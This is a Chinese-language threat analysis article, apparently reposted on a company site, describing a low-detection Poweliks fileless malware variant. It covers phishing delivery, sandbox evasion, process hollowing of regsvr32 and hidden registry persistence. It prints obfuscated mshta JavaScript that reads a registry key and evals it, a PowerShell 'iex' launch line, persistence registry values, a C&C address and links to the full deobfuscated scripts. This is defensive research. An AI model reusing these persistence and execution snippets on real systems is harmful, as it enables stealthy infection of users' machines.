时间:2020-09-02 来源:深圳维创信息技术 1
实际上,该软件不仅首次面世就一鸣惊人,而且,此后它也一直处于不断进化之中。
本文将向读者介绍Poweliks的一个新变种,它的特点是具备令人难以置信的低检出率。
0×00 摘要自7月以来,我们一直在监视利用著名的免文件型恶意软件Poweliks来躲避杀毒软件的检测的恶意软件的活动。
这款恶意软件可能是一个变种,它的设计目标之一就是“不要显山露水”;与之前的变种不同的是,它虽然没有利用漏洞或UAC绕过技术,但是隐身效果却毫不逊色,并且极少被杀毒软件检测到。
好消息是,事实证明行为分析针对这种威胁的效果还是非常好的,因此,杀毒软件公司必须及时利用该技术识别此类威胁,才能为用户提供及时的保护功能。
0×01 传播手段我们的客户收到了如下所示的伪装成美国航空公司的机票收据的电子邮件。
图1 Poweliks电子邮件这封电子邮件发自mrsfitness[.]com,看起来像是被攻击者控制的一个域名。
在本例中,该邮件并没有引起网关上安装的杀毒软件和反立即邮件系统的任何怀疑。
在该邮件的附件中,包含有一段经过混淆处理后的javascript代码,该代码的作用是触发系统去下载并执行一个恶意的可执行文件。
图2 还原后的JavaScript代码自从7月份监视该软件的活动以来,我们总共收到过三种不同形式的电子邮件:机票收据发票法院传票该恶意软件的主要攻击对象全部位于美国。
0×02 有效载荷这个恶意软件下载的文件是经过加密处理的,此外,为了给分析者制造障碍,它的程序代码故意弄得跟一团麻似的,同时,为了成功绕过沙箱分析,它还是针对特定的Virtualbox的。
Filename: 88655116.exe Hash-SHA256: 673b384836483b3db628e3cc2eda5683a209837ea7da0a4c0749ea496e2a644a Size: 412.210它的检出率依然非常低,并且对于该恶意软件的分类也是不对的。
图3 杀毒软件对于Poweliks的检测情况该恶意软件脱壳之后,会检测是否存在VirtualBox VM,这一行为在之前是我们所没有发现的。
在第二个阶段,它会随机生成两个注册表项,然后通过mshta.exe生成一个powershell实例,随后,会用这个powershell继续生成一个注入式的regsvr32.exe实例。
下面是相应的注册表项:图4 Poweliks的注册表项在mshta.exe包含有一小段javascript代码,如下所示:ZKk7pWSkz=”3pVjfxK58″;Z6v7=new%20ActiveXObject(“WScript.Shell”);qojKj0pk=”McEb”;sEAn4=Z6v7.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);mAN16NzLz=”nmOa4g1u”;eval(sEAn4);UtbW0ZYxq=”R5V5xTB”;很明显,这段代码是经过了混淆处理的,还原后的代码如下所示:图5 还原后的javascript代码上述代码的作用是,读取刚才创建的注册表项,并执行其内容,这里的内容实际上还是一段混淆后的javascript代码,如果将其还原的话,大致如下所示:图6 注册表项中的javascript代码这段代码的作用是,对二进制串进行译码,并执行之。
由于这个二进制串太长了,所以这里已经将其删除掉了,如果读者需要进行分析的话,可以从http://pastebin.com/mrw4Csja找到。
在解密之后,它看起来像是一个powershell脚本,作用是根据嵌入到该脚本内部的shellcode来创建一个线程。
图7 Poweliks中的powershell脚本这个脚本将会插入到一个环境变量中,之后该变量将直接被传递给powershell:“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe” iex $env:vsxf我们已经完整还原出了这个脚本,如果大家需要分析的话可以从http://pastebin.com/dnkQC1UE下载。
那么,这个shellcode又是意欲何为呢? 为了弄清楚这一点,我们必须先将其反汇编,并进行相应的调试才行。
这段shellcode的作用是解析一些API(VirtualAlloc()、 ExitProcess()、RegOpenKey()、RegQueryValue()、GetProcAddress()、LoadLibrary()),而这些API的作用则是读取前面提到的注册表项的内容,对其内容进行译码,并执行之。
这里的解密例程非常简单,并且会用置换表来存放1到0×100这些递增的数字,这些值是用来对加密字节进行异或运算的:图8 Poweliks的解密例程这些代码在解密之后就会被运行。
它会执行regsvr32.exe,然后将其“掏空”,下面是我们的分析引擎的输出结果:图9 Poweliks的替身regsvr32.exe下面我们来看看偷梁换柱的具体过程:图10 Poweliks的生成树要是没有后备机制的话,就不会有Poweliks了,因为有些东西会出错,如果进程由于某种原因出错的话,那么主进程就会试图直接生成一个regsvr32.exe实例,以便为注入做较后的一次尝试。
图11 Poweliks的后备注入Powershell终止后,会给我们留下一个运行状态下的regsvr32.exe实例,它的任务是利用自身生成第二个实例,并完成注入操作等,实际上它要做的事情还不少:首先,将整个恶意软件隐藏到HKCU/Software/Microsoft/Windows/CurrentVersion/Run处的持久性的注册表项中,不过,这里需要用到一个解析技巧,以便使得regedit.exe无法直接读取这个持久性的注册表项:图12 Poweliks的持久性注册表项下面是用到的一个注册表项,注意其名称中的前导反斜扛:“a1f309e8″=”mshtajavascript:judNSd2v=”4S”;T80G=new%20ActiveXObject(“WScript.Shell”);OlXOQ8j4=”jWqM4PKDvF”;pd6D2R=T80G.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);qeV4j2Wz=”Y7wjctoseg”;eval(pd6D2R);WFNQgoB1b=”idEjYnCb”;”“9460666d”=”mshtajavascript:Zfvtt1o3=”uue”;m3S=new%20ActiveXObject(“WScript.Shell”);tMAUk0Ua=”Zc8″;Qs4Xs3=m3S.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);q9FywZTi=”X”;eval(Qs4Xs3);XFCt5IgZO=”IGrWu”;”即使没有经过还原处理,我们依然可以看出它们依旧是要利用注册表项中的javascript代码从事感染活动。
严格来讲,Poweliks并不是一个纯粹的免文件型恶意软件,但是它离这个概念已经非常接近了。
达到持久性的潜伏目的之后,它还会再新建一些注册表项,尤其是会用它们来隐藏一个用户代理及其相应的命令请求:Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0)这个用户代理是从下面的列表中选出来的:Mozilla/5.0(WindowsNT6.3;WOW64;Trident/7.0;rv:11.0)likeGeckoMozilla/5.0(compatible;MSIE10.0;WindowsNT6.1;WOW64;Trident/6.0)Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;WOW64;Trident/5.0)Mozilla/4.0(compatible;MSIE8.0;WindowsNT6.1;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;InfoPath.3)Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.0;SLCC1;.NETCLR2.0.50727;MediaCenterPC5.0;.NETCLR3.0.30729)Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;.NETCLR2.0.50727)这样以来,就可以进行浏览器注入攻击了,那些倒霉的用户会看到一些新的广告和虚假的警告,由于Poweliks具有下载功能,所以一旦系统感染了它,理论上就可能进一步下载其他类型的恶意软件。
根据我们的监控,目前发现它会访问一个C&C服务器,地址为 H**p://185.102.139.93/form2.php。
尽管在二进制代码中嵌入了许多IP,但我们没有展开进一步的实际调查,不过它们很可能是一些流氓AD服务器。
0×03 总结当前,Poweliks的功能依旧保持强大,其制作的工程化水平也是可圈可点的。
由于该恶意软件几乎不藏身于文件之中,因此,它能够愚弄大多数的安全解决方案。
在Poweliks之前的版本中,它曾经使用过一些安全漏洞和不同的UAC绕过技术,不过就近期的监控来看,当前的版本好像没有再沿用这些手段,不过,尽管它没有对大部分代码进行重构,但是其检出率依然保持很低。
事实再次证明,相对于基于标准特征的杀毒解决方案来说,基于人工智能的行为分析技术在检测和防护新型或进化中的安全威胁方面要更加有效。
上一篇:保障信息安全 参与国际竞争
下一篇:保障信息安全 参与国际竞争